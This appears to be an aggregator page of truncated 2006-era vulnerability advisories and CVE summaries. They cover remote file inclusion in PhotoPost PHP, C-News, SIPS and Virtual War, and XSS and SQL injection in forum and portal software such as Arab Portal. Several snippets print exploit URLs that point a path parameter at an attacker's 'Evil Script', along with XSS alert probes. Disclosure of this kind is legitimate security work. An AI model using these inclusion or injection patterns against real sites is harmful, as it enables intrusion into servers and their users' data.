PhotoPostPHP4.6-4.5.txt

PhotoPost PHP 4.6 - 4.5 PPPATH Remote File Include Vulnerability Found by ..........: AG-Spider our Web Site : ---- http://www.ArabAttack.com Arab Attack Security Team Affected Software .: PhotoPost PHP Vendor ............: http://www.popphoto.com Risk & Class...: high-Remote File Inclusion C0ntA...

forumjbc4.txt

ForumJBC v4 alert'hacking%20xss' ; Greetz : M.I.D.TDrackanZ, Mr.IlysS, NeThug47 & All Moroccan & Arab Hackers ; Yallah Tla7 Safi...

cnews101.txt

C-News v 1.0.1 Multiple Remote File Include Vulnerabilities ; Discovred By : ThELeO ; Software : C-News v 1.0.1 ; Exploit : http://Www.Example.Com/Script/affichage/pagination.php?path=U r Evil Script ; http://Www.Example.Com/Script/affichage/formulairecommentaires.php?path=U r Evil Script Greetz ...

SIPS v 0.2.2 < = Remote File Include Vulnerability

SIPS v 0.2.2 = = = = = = = = = = = = = Remote File Include Vulnerability ; Discovred By : ThELeO ; Software : SIPS v 0.2.2 ; Exploit : http://Www.Example.Com/Script/sipssys/code/box.inc.php?config"sipssys"=U r Evil Script ; Greetz : M.I.D.TDrackanZ, Mr.IlysS, NeThug47, Death & All Moroccan & Arab...

softbbxss.txt

SoftBB v0.1 alert'hacking%20xss' ; Greetz : M.I.D.TDrackanZ, Mr.IlysS & All Moroccan & Arab Hackers ;...

virualWar.txt

Title : Virtual War v1.5.0 Remote File Include vwarroot Discovered By :::: :::: :::: AG-Spider :::: :::: :::: ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger Application : Virtual War v1.5.0 URL : www.vwar.de...

Virtual War v1.5.0 Remote File Include (vwar_root)

Title : Virtual War v1.5.0 Remote File Include vwarroot Discovered By :::: :::: :::: AG-Spider :::: :::: :::: ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger Application : Virtual War v1.5.0 URL : www.vwar.de...

Sql injection

SQL injection vulnerability in forum.php in Arab Portal 2.0.1 stable allows remote attackers to execute arbitrary SQL commands via the mineID parameter...

CVE-2006-1666

SQL injection vulnerability in forum.php in Arab Portal 2.0.1 stable allows remote attackers to execute arbitrary SQL commands via the mineID parameter...

CVE-2006-1665

Multiple cross-site scripting XSS vulnerabilities in Arab Portal 2.0.1 stable allow remote attackers to inject arbitrary web script or HTML via the 1 adminJump and 2 forummiddle parameters in a forum.php, and the 3 form parameter in b members.php, c pm.php, and d mail.php...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Arab Portal 2.0.1 stable allow remote attackers to inject arbitrary web script or HTML via the 1 adminJump and 2 forummiddle parameters in a forum.php, and the 3 form parameter in b members.php, c pm.php, and d mail.php...

CVE-2006-1666

SQL injection vulnerability in forum.php in Arab Portal 2.0.1 stable allows remote attackers to execute arbitrary SQL commands via the mineID parameter...

CVE-2006-1665

CVE-2006-1665: Multiple cross-site scripting (XSS) vulnerabilities in Arab Portal 2.0.1 stable. The flaws allow remote attackers to inject arbitrary web script or HTML via specific input parameters: adminJump and forum_middle in forum.php; the form parameter in members.php, pm.php, and mail.php. ...

CVE-2006-1666

CVE-2006-1666 describes a SQL injection vulnerability in the forum.php component of Arab Portal 2.0.1 stable. The issue allows remote attackers to inject and execute arbitrary SQL commands through the mineID parameter. The NVD entry lists a CVSS v2 base score of 7.5 (HIGH), with network attack ve...

CVE-2006-1665

Multiple cross-site scripting XSS vulnerabilities in Arab Portal 2.0.1 stable allow remote attackers to inject arbitrary web script or HTML via the 1 adminJump and 2 forummiddle parameters in a forum.php, and the 3 form parameter in b members.php, c pm.php, and d mail.php...

CVE-2006-1504

Multiple cross-site scripting XSS vulnerabilities in Arab Portal 2.0 aka Arab Dynamic Portal or ADP stable allow remote attackers to inject arbitrary web script or HTML via the title parameter in 1 online.php and 2 download.php...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Arab Portal 2.0 aka Arab Dynamic Portal or ADP stable allow remote attackers to inject arbitrary web script or HTML via the title parameter in 1 online.php and 2 download.php...

CVE-2006-1504

CVE-2006-1504 concerns multiple XSS vulnerabilities in Arab Portal 2.0 (also called Arab Dynamic Portal/ADP). The issues allow remote attackers to inject arbitrary web script or HTML by manipulating the title parameter in two pages: online.php and download.php. The affected software is Arab Porta...

CVE-2006-1504

Multiple cross-site scripting XSS vulnerabilities in Arab Portal 2.0 aka Arab Dynamic Portal or ADP stable allow remote attackers to inject arbitrary web script or HTML via the title parameter in 1 online.php and 2 download.php...

Arab Portal 2.0 - 'download.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17285/info ArabPortal System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the...